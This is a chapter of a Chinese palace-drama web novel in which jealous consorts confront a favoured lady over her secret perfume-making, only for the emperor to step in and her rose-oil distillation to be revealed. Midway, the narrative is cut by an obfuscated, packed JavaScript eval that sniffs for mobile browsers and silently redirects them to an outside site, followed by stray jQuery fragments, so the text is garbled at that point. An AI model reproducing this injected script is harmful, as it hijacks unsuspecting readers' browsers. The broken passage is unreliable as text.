这么大的阵仗,自然瞒不过旁人。
宫里消息灵通的,几乎都听到了贵妃带着几位高位嫔妃往围房去的消息,似乎是为了那位近期圣眷正浓的岑官女子,有心下好奇的,纷纷跟了过去。
一些住在附近的常在、答应见状,更是按捺不住,远远缀在后面想看个究竟。
敬嫔也劝安嫔去看热闹,只是安嫔一听这消息,秀眉蹙起:“那起子人不懂体面规矩就算了,怎的贵妃也陪着她们闹。”
和她一样想法、自持身份的人不少,只觉得那些爱看热闹的常在答应上不了台面,但更多的人还是不想惹事,于是待在自己的宫殿里,关起门来,两耳不闻窗外事。
最后,跟在佟贵妃后面的高位,只有一个敬嫔。
一时间,通往围房的小道上,前所未有的热闹。
围房小院内,夏禾和春熙正尽职地守在院子里,突然见到这么一大群主子娘娘涌进来,吓得魂飞魄散,慌忙行礼请安。
“奴婢给贵妃娘娘请安,给各位娘娘请安!”
佟贵妃抬了抬手,语气还算平和:“起来吧,岑官女子可在?”
夏禾心头一跳,强自镇定地回道:“回贵妃娘娘,我们主子正在屋内研制香料,吩咐了不许打扰,容奴婢先去通传一声,请主子出来迎驾。”
她这话本是按规矩办事,但听在有心人耳里,却成了欲盖弥彰。
僖嫔立刻尖声道:“哦?你家小主这么金贵,连贵妃娘娘和诸位姐姐来了,都要等在门外通传?莫非屋里有什么见不得光的东西,怕被咱们瞧见?”
惠嫔也帮腔道:“就是,咱们也是关心她,特意过来看看,这般躲躲藏藏,反倒让人生疑。”
佟贵妃见状,心中疑窦也更重了些,她看着紧闭的房门,淡淡道:“既如此,本宫便亲自进去看看,岑官女子到底在研制何等奇香。”
夏禾和春熙脸色煞白,想要阻拦却又不敢,急得额上冒汗,眼看佟贵妃示意身后的太监上前,气氛剑拔弩张,就要硬闯之时——
院门外突然传来梁九功拔高了嗓音的通传:
“皇上驾到——!”
这一声如同平地惊雷,瞬间让嘈杂的院子安静了下来,所有人都是一愣,随即慌忙转身,面向院门方向,齐刷刷地行礼:“臣妾/嫔妾给皇上请安,皇上万福金安!”
康熙穿着一身常服,面色沉静地走了进来,目光扫过院子里黑压压跪了一地的人,尤其在以佟贵妃为首的那一群妃嫔身上停留了一瞬,眉头几不可查地蹙了一下。
“都起来吧。”他的声音听不出喜怒,“今日怎的如此热闹?”
就在这时,那扇一直紧闭的西厢房门“吱呀”一声从里面打开了。
岑盐絮显然是听到了外面的动静,走出来时,她脸上带着恰到好处的惊讶和惶恐,发鬓微乱,身上似乎沾染了一种浓郁而醇厚的花香,与她平日里给人的感觉截然不同。
她看到院中的阵仗,尤其是看到康熙,明显愣了一下,随即快步上前,规规矩矩地行礼:“妾身不知皇上和各位娘娘驾到,未曾远迎,请皇上、娘娘恕罪。”
康熙虚抬了一下手,目光在她身上停留了一瞬,语气依旧听不出什么波澜,却带着一丝不易察觉的探究:“起来吧,你可是有什么不便之处?”
他这话问得微妙,虽未明说,却是明晃晃的维护。
其他人听不出来,跟了他最久的梁九功和荣嫔二人,却是对他的话外之音听得明清清楚楚。
站在他侧后方的梁九功眼皮微微一动,垂下了目光,荣嫔站在妃嫔队列中,闻言亦是眸光微闪,若有所思地看了一眼岑盐絮,心中不由提高了对她的警惕度。
岑盐絮还不知道这些人过来是要干嘛的,于是疑惑道:“并未有什么不方便之处,万岁爷,您和几位姐姐这是?”
“方才听你这宫女言道,你在制香?她们也是好奇,确实不成体统,若你不便被打扰,亦是无妨,朕让她们回去便是。”
他这话说得极其含蓄,仿佛只是例行公事的关怀,但话里的意思却再明白不过——他在给岑盐絮递梯子。
如果她不想让这群妃嫔进去,无论她在里面做什么,他此刻就可以将所有人都挡在门外,保全她的秘密。
梁九功的头垂得更低了,心里却跟明镜似的,万岁爷这话,分明是在给岑小主撑腰呢!
荣嫔站在不远处,眸光几不可查地动了一下,随即恢复平静,只是看向岑盐絮的目光里,多了几分更深的审慎。能让皇上如此费心维护,哪怕只是这般隐晦的维护,这岑氏绝不像表面看起来那么简单。
而佟贵妃,早在听到康熙说出那句不成体统时,就已经分寸大乱了,生怕皇上觉得她能力不足。
僖嫔只觉得气愤,想向她泼脏水,可不敢在此时出声。
岑盐絮何等机灵,立刻便听懂了康熙的弦外之音。
她心头一暖,抬起眼,对上康熙那双深邃沉静的眸子,看到他眼中一丝几不可查的询问。
她微微一笑,笑容里带着点坦然,声音清晰地说道:“谢皇上体恤,妾身之事并无什么不可见人之处,只是怕气味杂乱,污了圣驾和各位娘娘的清听,若皇上和娘娘们不嫌弃,妾身愿请诸位入内一观。”
她这话答得大方得体,既承了皇帝的情,又表明了自己坦荡无私,不怕人看。
康熙闻言,点了点头:“既如此,朕便去瞧瞧。”
说罢,便率先迈步向屋内走去。
佟贵妃等人互看一眼,也怀着各种心思跟了进去。
一开门,就问到了浓郁的香气,这香气不是宫中供应的任何一种香,证实了岑盐絮所言不虚。
僖嫔在后边脸色微白,不敢再多言。
康熙目光转向岑盐絮:“看来爱妃成果斐然,这香气颇为独特。”
岑盐絮便顺着话头道:“回皇上,妾身闲来无事,翻阅杂书,看到古法提香之术,便想试着用寻常花瓣提炼些香露自用,方才正是在进行最后一步。”
康熙点了点头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553366|186456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
众人陆续走了进去。
屋内,那套小巧的蒸馏设备尚未收起,蒸馏壶、玻璃冷凝管、收集瓶等物什摆放着,空气中弥漫的香气更加浓郁。
一个白瓷瓶里,盛着少许澄澈透明、却散发着极致香气的液体,旁边还有一小瓶颜色更深、更浓郁的油脂状物。
僖嫔瞬间像抓住了什么话柄,惊声道:“你还说你心里没鬼!琉璃制品何其珍贵,这些东西是从哪儿搞来的!”
岑盐絮看了眼康熙:“回僖嫔娘娘,是万岁爷得知我家在香山县,对这些西洋器物感兴趣,所以赏给我的。”
她前几日得了赏,这是众所周知的消息。
不过众人都没想到,康熙竟然把这么珍贵的东西赏给她,一时有些惊得说不出话来。
康熙微微一笑,没看张嘴就是胡诌的岑盐絮,也没拆穿她,拿起白瓷小瓶,凑近闻了闻,那香气纯粹而强烈,绝非寻常香露可比。
“这是?”
“回皇上,这是妾身用月季花瓣蒸出的花露,旁边那小瓶里是分离出的精油。”岑盐絮解释道,“此物香气持久,可用于熏香、润肤,或是调入胭脂水粉中。”
众妃嫔闻言,都忍不住好奇地凑近观看、闻嗅,精纯的香气让她们眼前一亮。
她们都是用过好东西的,宫里的贡香、海外传来的香露也见识过,但如此纯粹、浓郁的香气,却是头一回闻到。
尤其是那精油,听岑盐絮说,只需一滴,香气便能经久不散。
惠嫔也忍不住说道:“想不到岑妹妹还有这般巧思。”
佟贵妃心中亦是惊讶,面上却不露声色,只微笑道:“岑官女子真是心灵手巧。”
唯有僖嫔,脸色一阵青一阵白,她万万没想到,岑盐絮搞出的不是巫蛊邪物,而是这等稀罕东西!
她可是知道,这等提纯过的精油,多是海外舶来品,价格极其昂贵,尽管众妃嫔心向往之,也有那个资本使用,但皇上因崇尚节俭,并不提倡妃嫔们靡费购买。
如今岑盐絮竟能自己制作……
康熙将众人的反应尽收眼底,心中明了,他放下小瓶:“既然是场乌龙,你们也散了吧,日后,朕不想再看到这等不顾规矩礼法之事。”
“妾身谨记皇上教诲。”跟来看热闹的常在答应们被扣上这种帽子,都后悔今天跟过来了。
佟贵妃更是无地自容:“今日之事是臣妾的错,臣妾定好好约束众位妹妹,再给岑妹妹赔罪。”
她本就不愿意来的,可僖嫔闹得太过,害她给皇帝留下了一个这么不好的印象,佟贵妃越想越气,看僖嫔哪哪都不顺眼。
回去的路上,僖嫔还在怒斥岑盐絮上不得台面,和她同住一宫的常在,因她的威压,不得不应和,被她缠得没办法的惠嫔也跟着附和了两句。
僖嫔不知道,自己已经被贵妃记恨上了,也不知道和自己一起抱怨着的惠嫔和常在,都在心里暗暗琢磨——怎么才能从岑氏那里弄来一瓶精油用用呢?就算花上千金,她们也愿意啊……